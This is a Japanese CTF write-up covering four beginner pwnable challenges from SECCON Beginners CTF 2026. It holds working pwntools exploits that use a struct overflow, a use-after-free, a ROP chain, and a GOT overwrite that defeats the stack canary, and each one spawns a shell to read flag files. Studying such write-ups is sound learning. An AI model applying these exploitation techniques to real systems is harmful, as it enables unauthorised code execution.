はじめに
こんにちは、MooseLoveと申します。
今回は SECCON Beginners CTF 2026 のPwnable問題である、login、monster、rop4b、scoreboard のWriteupを書いていきます。
他2つは難しすぎて解けませんでした(ゴメンナサイ...)
初学者でもできる限り分かりやすく解説しますので、これからPwnable始めてみようかな~という方は、ぜひ最後までご覧ください!
自己紹介
- 20歳 情報系の大学に通っている大学3年生
- 情報処理安全確保支援士試験 合格(登録セキスペには未登録)
- Python Java HTML CSS PHP Cくらいならなんとかギリわかる
- バグバウンティ / HackTheBoxは引退気味
- セキュリティ・キャンプ2026コネクト 脅威クラス修了
login
まずはloginです。
配布されたソースコードは以下の通りです。
#include <stdio.h>
struct user {
char username[0x10];
int is_admin;
};
void win() {
system("/bin/sh");
}
static void setup(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
setup();
struct user normal_user = {0};
printf("Input username: ");
fgets(normal_user.username, sizeof(struct user), stdin);
normal_user.username[strcspn(normal_user.username, "\n")] = '\0';
if (normal_user.is_admin) {
printf("Welcome, admin %s!\n", normal_user.username);
win();
} else {
printf("Welcome, %s!\n", normal_user.username);
}
return 0;
}
まずmain関数からsetup関数が実行されます。こちらは標準入力、出力、エラー出力の方式を定義するものであり、問題とは関係ないのでスルーですね。
Input username:と聞かれ、その後fgetsといった関数が見られるため、適当な文字列を入力することができると分かります。
struct userにはusername[0x10]とis_adminがあります。こちらのis_adminがTrueとなった場合、Welcome, adminと表示されwin関数が実行されるようです。
入力の処理を見ると、どうやらfgets関数で、標準入力(stdin)から'sizeof(struct user)'分のサイズを受け取り、それをnormal_user.usernameに格納しているようです。
ここにオーバーフロー脆弱性があります。
usernameのサイズは16バイトですが、入力ではsizeof(struct user)を指定しています。sizeof(struct user)は構造体全体のサイズなので、usernameだけでなく、その後ろにあるis_adminの領域サイズまで含まれます。よって、is_adminをオーバーフローによって任意の値に書き換えることが可能です。
構造体の配置はこのようなイメージです。
+------------------+----------------+
| username[0x10] | is_admin |
| 16 bytes | 4 bytes |
+------------------+----------------+
つまり、16バイト分の文字列でusernameを埋めた後、is_adminの先頭1バイトに\x01を書き込めば、if (normal_user.is_admin)の判定を通せます。少し汚い形にはなりますが、is_adminが0で無ければ良いため、適当に「A」などを17バイト目に入れてもif文はTrueとなり、問題なくwin関数が実行されます。
win関数では、シェルが起動されフラグの閲覧が可能になります。'cat flag.txt'でフラグを出力することで、この問題を解くことができます。
この問題はPwntoolsを使わずサーバーに接続後、プロンプト上で「aaaaaaaa...」と連打してシェルを取りましたが、綺麗に解く場合は以下のようなプログラムを用意します。
#!/usr/bin/env python3
import sys
from pwn import *
HOST = sys.argv[1]
PORT = int(sys.argv[2])
io = remote(HOST, PORT)
payload = b"A" * 0x10
payload += b"\x01"
io.sendlineafter(b"Input username: ", payload)
io.sendline(b"cat flag.txt 2>/dev/null || cat /flag.txt 2>/dev/null || cat /app/flag-* 2>/dev/null")
io.interactive()
今回はPwntoolsを使用してPoCを構築しています。便利すぎる、このライブラリ。
monster
次はmonsterです。
配布されたソースコードは以下の通りです。
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#define MONSTER_NAME_SIZE 0x20
#define BOSS_NAME_SIZE 0x10
#define MONSTER_POWER 50
#define BOSS_HP 300
#define BOSS_DEFENSE 2000
#define BOSS_BOUNTY 1337
struct monster {
char name[MONSTER_NAME_SIZE];
ssize_t power;
};
struct boss {
char name[BOSS_NAME_SIZE];
ssize_t hp;
ssize_t defense;
ssize_t bounty;
};
struct monster *my_monster;
struct boss *boss;
void setup(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
unsigned long read_ulong(void) {
char buf[0x20];
if (!fgets(buf, sizeof(buf), stdin)) {
exit(0);
}
return strtoul(buf, NULL, 10);
}
void readn(char *buf, size_t size) {
ssize_t n = read(STDIN_FILENO, buf, size);
if (n < 0) {
perror("read");
exit(1);
}
}
void read_cstring(char *buf, size_t size) {
if (!fgets(buf, size, stdin)) {
exit(0);
}
buf[strcspn(buf, "\n")] = '\0';
}
void win(void) {
puts("You defeated the boss!");
system("/bin/sh");
exit(0);
}
void capture_monster(void) {
if (my_monster) {
puts("Your current monster ran away...");
}
puts("You captured a monster!");
my_monster = malloc(sizeof(struct monster));
if (!my_monster) {
puts("malloc failed");
exit(1);
}
printf("monster name> ");
read_cstring(my_monster->name, sizeof(my_monster->name));
my_monster->power = MONSTER_POWER;
printf("captured %.*s (@%p) with power %zd\n",
MONSTER_NAME_SIZE,
my_monster->name,
(void *)my_monster,
my_monster->power);
}
void rename_monster(void) {
if (!my_monster) {
puts("You don't have a monster.");
return;
}
puts("Give your monster a new name.");
printf("new name> ");
readn(my_monster->name, sizeof(my_monster->name));
}
void release_monster(void) {
if (!my_monster) {
puts("You don't have a monster.");
return;
}
printf("released %.*s (@%p)\n",
MONSTER_NAME_SIZE,
my_monster->name,
(void *)my_monster);
free(my_monster);
/* my_monster = NULL; */
}
void check_boss(void) {
if (!boss) {
puts("A boss appeared!");
boss = malloc(sizeof(struct boss));
if (!boss) {
puts("malloc failed");
exit(1);
}
strcpy(boss->name, "ctf_boss");
boss->hp = BOSS_HP;
boss->defense = BOSS_DEFENSE;
boss->bounty = BOSS_BOUNTY;
}
printf("Boss (@%p): %.16s\n", (void *)boss, boss->name);
printf(" hp : %zd\n", boss->hp);
printf(" defense : %zd\n", boss->defense);
}
void battle(void) {
if (!my_monster) {
puts("You don't have a monster.");
return;
}
if (!boss) {
puts("There is no boss.");
return;
}
printf("%.*s attacks the boss!\n",
MONSTER_NAME_SIZE,
my_monster->name);
printf("monster power: %zd, boss defense: %zd\n",
my_monster->power,
boss->defense);
if (my_monster->power > boss->defense) {
win();
}
puts("The attack was not effective...");
}
void menu(void) {
puts("1. capture monster");
puts("2. rename monster");
puts("3. release monster");
puts("4. check boss");
puts("5. battle");
puts("6. quit");
printf("> ");
}
int main(void) {
setup();
while (1) {
menu();
switch (read_ulong()) {
case 1:
capture_monster();
break;
case 2:
rename_monster();
break;
case 3:
release_monster();
break;
case 4:
check_boss();
break;
case 5:
battle();
break;
case 6:
puts("bye");
return 0;
default:
puts("invalid choice");
break;
}
}
}
長いですが、ざらっと見るにmallocやfreeといった関数が見られるためヒープ問題であることが予測できます。プログラムを少しずつ見ていきましょう。
まず、menu関数により1~6までの選択肢が現れます。
1を押した場合、自身の使うモンスターを登録することができます。mallocにより領域が確保され、私たちが入力する名前と、定数として指定されているMONSTER_POWERの2つが格納されます。
2を押した場合、登録したモンスターの名前を変更することができます。
3を押した場合、登録したモンスターを解放することができます。と、ここで、気になる処理が見られます。本来はfree()後には、freeさせたポインタをNULLで初期化する必要があります。しかし/* my_monster = NULL; */とあるように、my_monsterが意図的に初期化されていないように見えます。Use After Free脆弱性と考えて間違いないでしょう。
仮に、私がAという名前のモンスターを登録していたとしましょう。my_monsterには登録した際に「名前と攻撃力」を格納するための領域を指すポインタが登録されていました。参照する際にはmy_monsterを用いることで、その領域にアクセスすることができます。
しかし、freeでその領域を解放したとしてもmy_monsterを初期化しない場合、解放済み領域を指すポインタが残り続けたままプログラムが継続します。
次に4を押します。4を押すとボスが現れ、同時にmallocにより領域が確保されます。この機能を悪用します。
struct monsterとstruct bossはどちらも0x28バイトです。よって、monsterを解放した後にbossを確保すると、同じヒープ領域が再利用されます。まだ値が残っている領域に対し、「この領域使えるじゃん~」と判断したmalloc君が重複しに来てしまうわけですね。
ここでmy_monsterとbossが同じアドレスを指す状態になります。その状態でrename_monster()を呼ぶと、my_monster->nameへの書き込みに見せかけて、実際にはboss構造体の中身を書き換えられます。
boss構造体の配置は以下です。
offset 0x00 : name[0x10]
offset 0x10 : hp
offset 0x18 : defense
offset 0x20 : bounty
一方、monster構造体ではpowerがoffset 0x20にあります。つまり、同じ領域を見ている状態ではmy_monster->powerはboss->bountyと同じ場所になります。
boss->bountyは1337、boss->defenseは2000です。このままだと1337 > 2000にならないので勝てません。そこでboss->defenseを1に書き換えます。
最終的なソルバは以下です。
#!/usr/bin/env python3
from pwn import *
io = remote("monster.beginners.seccon.games", xxxx)
def choose(n):
io.sendlineafter(b"> ", str(n).encode())
choose(1)
io.sendlineafter(b"monster name> ", b"A")
choose(3)
choose(4)
choose(2)
payload = b"X" * 16
payload += p64(300)
payload += p64(1)
io.sendafter(b"new name> ", payload)
choose(5)
io.recvuntil(b"You defeated the boss!\n")
io.sendline(b"cat flag.txt 2>/dev/null || cat /app/flag-* 2>/dev/null || cat /home/pwn/flag.txt 2>/dev/null || echo PWNED")
io.interactive()
choose(1)でmonsterを確保し、適当に「A」という名前を付けます。その後、そのモンスターをchoose(3)で解放します。しかし、Use After Free脆弱性により、my_monsterのポインタは残り続けます。その後choose(4)でbossを確保すると、先ほど解放したmonster領域がbossとして再利用されます。
最後にchoose(2)でrenameすると、残っているmy_monsterポインタ経由でbossの中身を改ざんできます。defenseを1にした後にchoose(5)で戦えば、my_monster->powerとして読まれるboss->bountyの1337がboss->defenseの1を上回り、win()に到達します。
超簡単に言えば、Aさんが住んでいた家を退去(free)し、その家にBさんが新しく入居した(malloc)とします。
しかし管理会社のミス(Use After Free)で、Aさんがまだその家に住んでいることになっており(初期化ミス)、Aさん用の合鍵も回収されていません。
その状態でAさんが合鍵を使って家に入ると、本人は「記憶に残っている退去前のAさんの家」にアクセスができます。しかし、実際にはBさんに新しく割り当てられた部屋へアクセスできてしまいます。
例えば、そこでAさんが大きなテーブルを設置したとしましょう。Aさん視点ではその場所は「当時の記憶では、テーブルが置けるほどの空きスペース」です。しかし実際、Bさんは数日前そこにクローゼットを置いていました。
この場合、Aさんにとっては空き領域でもBさんにとっては既に確保されているものです。しかし、Bさんの部屋の一部にテーブルが出現し、クローゼットとテーブルが合わさったクローゼットテーブルが誕生してしまうのです。こりゃ大変だ。
rop4b
次はrop4bです。
配布されたソースコードは以下の通りです。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
const char flag_path[] = "/flag.txt";
__attribute__((naked, used))
void pop_rdi_ret(void) {
__asm__(
"pop %rdi;"
"ret;"
);
}
__attribute__((used))
void read_file(const char *path) {
char buf[128];
int fd;
if (path == NULL) {
puts("path is NULL");
exit(1);
}
fd = open(path, O_RDONLY);
if (fd < 0) {
printf("%s not found\n", path);
exit(1);
}
ssize_t n = read(fd, buf, sizeof(buf) - 1);
if (n > 0) {
buf[n] = '\0';
puts(buf);
}
close(fd);
exit(0);
}
void vuln(void) {
char buf[64];
puts("simple ROP challenge");
puts("Call read_file(\"/flag.txt\") using ROP!");
printf("> ");
read(0, buf, 200);
}
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
vuln();
puts("bye!");
return 0;
}
vuln()を見ると、buf[64]に対してread(0, buf, 200)しています。よって、スタックオーバーフローでリターンアドレスを書き換えられます。
今回はありがたいことに、read_file()とflag_pathとpop rdi; retが用意されています。
64bit Linuxでは、関数の第1引数はRDIに入ります。つまり、RDI = flag_pathにした状態でread_file()を呼べば、read_file("/flag.txt")が実行されます。
必要な値は以下です。
offset : 72
pop rdi; ret: 0x4011fa
flag_path : 0x402008
read_file : 0x4011ff
read_fileとflag_pathはnmで、pop rdi; retはobjdumpで命令位置を確認しました。
またchecksecコマンドを実行した結果NO PIEとのことなので、アドレスは固定されており、サーバー上でも同じアドレス値を用いて攻撃を仕掛けることができます。
スタックは[buf(64 bytes) → saved rbp(8 bytes) → return address(ここを書き換える)]のようになっています。
最終的なソルバは以下です。
#!/usr/bin/env python3
from pwn import *
HOST = "rop4b.beginners.seccon.games"
PORT = xxxx
io = remote(HOST, PORT)
OFFSET = 72
POP_RDI_RET = 0x4011fa
FLAG_PATH = 0x402008
READ_FILE = 0x4011ff
payload = b"A" * OFFSET
payload += p64(POP_RDI_RET)
payload += p64(FLAG_PATH)
payload += p64(READ_FILE)
io.sendlineafter(b"> ", payload)
io.interactive()
ROPと聞くと難しそうですが、この問題では必要なパーツが全部バイナリ内にあるので、read_file("/flag.txt")を呼ぶだけです。逆にpop_rdi_retのような便利な関数がない場合、自分からpop rdiとretのアドレスを捜索する必要があります。少し面倒です。
scoreboard
最後はscoreboardです。これ、難しかった...
配布されたソースコードは以下の通りです。
// chall.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#define SCORE_COUNT 32
#define NAME_SIZE 0x80
static uint64_t scores[SCORE_COUNT];
static void setup(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
static void read_line(char *buf, size_t size) {
if (size == 0) {
return;
}
size_t i = 0;
char c = 0;
while (i + 1 < size) {
ssize_t n = read(STDIN_FILENO, &c, 1);
if (n <= 0) {
exit(0);
}
if (c == '\n') {
break;
}
buf[i++] = c;
}
buf[i] = '\0';
if (c != '\n') {
while (read(STDIN_FILENO, &c, 1) == 1 && c != '\n') {
}
}
}
static long read_long(void) {
char buf[0x40];
read_line(buf, sizeof(buf));
return strtol(buf, NULL, 0);
}
static uint64_t read_u64(void) {
char buf[0x40];
read_line(buf, sizeof(buf));
return strtoull(buf, NULL, 0);
}
static void health_check(void) {
puts("[*] running health check");
system("/bin/true");
puts("[*] service is ready");
}
static void submit_score(void) {
long rank;
uint64_t score;
printf("rank:");
rank = read_long();
if (rank >= SCORE_COUNT) {
puts("invalid rank");
exit(1);
}
printf("score:");
score = read_u64();
scores[rank] = score;
}
static void submit_feedback(void) {
char feedback[0x60];
printf("feedback:");
read(STDIN_FILENO, feedback, 0x200);
}
int main(void) {
setup();
for (int i = 0; i < SCORE_COUNT; i++) {
scores[i] = 1000 + i;
}
puts("=== Score Submitter ===");
health_check();
submit_score();
submit_feedback();
return 0;
}
事前に、今回用いる重要な関数のアドレスを紹介します。
重要なアドレスは以下でした。
scores = 0x4040a0
__stack_chk_fail@got = 0x404008
system@plt = 0x4010e0
exit@plt = 0x401140
プログラムを見ていくと、まずscores配列に0からSCORE_COUNT - 1までに1000 ~ 1000 + SCORE_COUNT - 1という値がそれぞれ入っていきます。
その後、health_check,submit_score,submit_feedbackという3つの関数が実行されます。
health_checkはサーバー上のtrueというコマンドを実行しているだけであって、特に利用価値はありません(まあ一応、systemがバイナリに存在しているため今後のシェル獲得が楽になりそう)。しかし、残りの関数はとある脆弱性をそれぞれ抱えています。
この問題は、負のインデックスによるOut-of-Bounds Writeと、submit_feedback()のスタックオーバーフローを組み合わせる問題です。
まずsubmit_score()では、rank >= SCORE_COUNTしかチェックしていません。rankはsigned longなので、負の値を入れることができます。
Pythonでは、たとえば配列が[peach,berry,pain,passion]となっている場合、[-1]を指定すればpassionが参照されます。
しかし、C言語ではscoresより前のアドレスが参照されてしまいます。この脆弱性により、scores + rank * 8で到達できる範囲に、read_u64()で入力した8バイトを書き込めます。
何を書き込むか話をする前に、スタックオーバーフローの使い道について説明しましょう。submit_feedback()にはfeedbackのサイズである0x60バイトを優に超えた0x200バイトがreadにより読み取られます。こちらでreturn addressを書き換えることで、シェルを実行できそうです。
それを実現するには書き込み可能な領域に/bin/shを置き、そのアドレスをsystemの第1引数として渡す必要があります。
早速やっていきましょう...と言いたいのですが、ここで問題が発生します。checksecコマンドを実行した結果、こちらの問題はCanaryが有効であることがわかりました。
Canary内の領域が改ざんされた場合__stack_chk_failが呼び出され、プログラムが強制終了してしまいます。よって、これを防ぐために__stack_chk_fail@gotを機能停止に追い込んでいきます。
たとえCanaryが改ざんされても、プログラムを終了させる処理がなければ、そのままプログラムは進み続けます。よって、先ほど発見したOut-of-Bounds Write脆弱性を用いて、この処理をぶっ壊していきましょう!
__stack_chk_fail@gotを書き換えるためのrankは次の通りです。
(0x404008 - 0x4040a0) / 8 = -19
__stack_chk_fail@gotをleave; retに書き換えます。
leave; ret = 0x40154e
これでCanaryチェックに失敗したとき、本来終了するはずの処理がleave; retになり、ROPに流せます。
1回目の入力では、__stack_chk_fail@gotを書き換えた後、main()に戻します。
offset to saved rbp = 0x70
ret = 0x40101a
main = 0x401550
mainに戻す理由は、カナリア機能停止後も処理を継続し、シェルを起動する必要があるからですね。
2回目の入力では、まず書き込み可能な0x404058に/bin/sh\x00を書き込みます。
data = 0x404058
(0x404058 - 0x4040a0) / 8 = -9
その後、read_u64()を使ってRAXにsystem@pltを入れます。最後に以下のガジェットへ飛ばします。
0x4011a7: mov edi, 0x404058; jmp rax
dataに値を書き込む理由は、このガジェットがプログラム内に存在するからです。
こちらはEDIに0x404058というアドレスを直接セットし、その後RAXにジャンプする命令です。
0x404058に/bin/sh\x00を書いておき、RDIにそのアドレスを入れ、RAXにsystem@pltが入っていれば、system("/bin/sh")が実行できます。
これでRDI = 0x404058となり、0x404058には/bin/sh\x00が入っています。さらにRAX = system@pltなので、jmp raxによってsystem("/bin/sh")が実行されます。
最終的な攻撃手順としては
- Canaryを機能停止にするため、
__stack_chk_fail@gotをleave; retに書き換える。 - mainを再実行
- dataに
/bin/shを書き込む - read_u64を実行させる。返り値(RAX)としてsystem@pltを入力する。
- その後、
dataのアドレスがRDIに入り、RAXに入っているsystem@pltへジャンプする。よって、system("/bin/sh")が実行される。
最終的なソルバは以下です。
#!/usr/bin/env python3
from time import sleep
from pwn import *
HOST = "scoreboard.beginners.seccon.games"
PORT = xxxx
context.arch = "amd64"
context.log_level = "info"
scores = 0x4040A0
stack_chk_fail_got = 0x404008
data = 0x404058
ret = 0x40101A
main_addr = 0x401550
leave_ret = 0x40154E
read_u64 = 0x4013E0
system_plt = 0x4010E0
exit_plt = 0x401140
mov_edi_data_jmp_rax = 0x4011A7
offset_to_saved_rbp = 0x70
fake_rbp = 0
io = remote(HOST, PORT)
# Canaryを機能停止させる
io.sendlineafter(b"rank:", str((stack_chk_fail_got - scores) // 8).encode()) #書き込み場所指定
io.sendlineafter(b"score:", hex(leave_ret).encode()) #leave; retへ流す
# もう一度main関数を実行させる
payload = b"A" * offset_to_saved_rbp
payload += p64(fake_rbp)
payload += p64(ret)
payload += p64(main_addr) #もう一度main関数を実行し、シェル獲得フェーズへ移行
io.sendafter(b"feedback:", payload)
# dataに/bin/shを書き込む
io.sendlineafter(b"rank:", str((data - scores) // 8).encode())
io.sendlineafter(b"score:", hex(u64(b"/bin/sh\x00")).encode()) #0x404058に/bin/shが書き込まれる
# read_u64でsystem@pltをraxに入れて、dataを引数にして呼ぶ
payload = b"A" * offset_to_saved_rbp
payload += p64(fake_rbp)
payload += p64(ret)
payload += p64(read_u64) #ペイロード送信後、ここで標準入力待ちになる。Sleep終了後、system_plt入力
payload += p64(ret)
payload += p64(mov_edi_data_jmp_rax)
payload += p64(exit_plt)
io.sendafter(b"feedback:", payload)
sleep(0.2)
io.sendline(hex(system_plt).encode())
sleep(0.2)
io.sendline(b"cat /app/flag-*")
io.interactive()
read_u64()という関数をうまく利用する必要がありました。この関数はこちら側が入力した文字列を戻り値、つまりRAXとして返却するため使い勝手が良いです。pop rdiといった便利なガジェットは今回発見できなかったため、この関数に合わせた処理を構築することになりました。
おわりに
やっぱりPwnableは楽しい...!